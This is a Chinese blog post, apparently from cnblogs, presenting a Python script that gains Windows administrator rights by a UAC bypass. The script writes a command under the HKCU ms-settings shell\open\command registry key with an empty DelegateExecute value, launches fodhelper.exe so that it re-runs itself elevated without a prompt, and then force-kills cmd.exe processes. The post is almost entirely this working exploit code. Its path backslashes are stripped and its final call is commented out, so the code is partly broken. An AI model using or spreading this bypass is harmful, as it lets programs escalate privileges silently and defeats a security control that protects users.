• python 添加Windows权限


    # -*- coding: utf-8 -*-
    """
    Created on Mon Jan  8 09:09:51 2018
    
    @author: coordinate
    """
    from __future__ import print_function
    import os
    import sys,time
    import ctypes
    if sys.version_info[0] == 3:
        import winreg as winreg
    else:
        import _winreg as winreg
    
    CMD                   = r"C:WindowsSystem32cmd.exe"
    FOD_HELPER            = r'C:WindowsSystem32fodhelper.exe'
    PYTHON_CMD            = "python"
    REG_PATH              = 'SoftwareClassesms-settingsshellopencommand'
    DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
    
    def is_admin():
        '''
        Checks if the script is running with administrative privileges.
        Returns True if is running as admin, False otherwise.
        '''    
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False
    
    def create_reg_key(key, value):
        '''
        Creates a reg key
        '''
        try:        
            winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
            registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)                
            winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)        
            winreg.CloseKey(registry_key)
        except WindowsError:        
            raise
    
    def bypass_uac(cmd):
        '''
        Tries to bypass the UAC
        '''
        try:
            create_reg_key(DELEGATE_EXEC_REG_KEY, '')
            create_reg_key(None, cmd)    
        except WindowsError:
            raise
    
    def execute():        
        if not is_admin():
            print('[!] The script is NOT running with administrative privileges')
            print('[+] Trying to bypass the UAC')
            try:                
                current_dir = __file__
                cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
                bypass_uac(cmd)                
                os.system(FOD_HELPER)                
                sys.exit(0)                
            except WindowsError:
                sys.exit(1)
        else:
            command1 = 'taskkill /F /IM cmd.exe'
            # command2 = 'start cmd /k'
            # command3 = 'cd C:UsersyuxinglxDownloadsMagicBox'
            # command4 = 'install_app.bat'
            os.system(command1)
            time.sleep(5)
            command2 = 'start cmd /k'
            os.system(command2)
            # os.system(command3)
            # os.system(command4)
            print('[+] The script is running with administrative privileges!')  
    
    if __name__ == '__main__':
     #   execute()
    

      

  • 相关阅读:
    erlang开发环境(IDE)搭建
    Mono for android,Xamarin点击事件的多种写法
    .NET C#中处理Url中文编码问题
    第一天正式学习,定一个学习目标吧。
    想转行做开发了!
    Java JMS 程序基础 与 ActiveMQ 安装(一)
    JDBC 基础
    Linux 6.4 设置yum 为centOS源
    C++ 简单实现 依赖注入(IOC)
    安卓项目
  • 原文地址:https://www.cnblogs.com/anita-harbour/p/9282398.html
Copyright © 2020-2023  润新知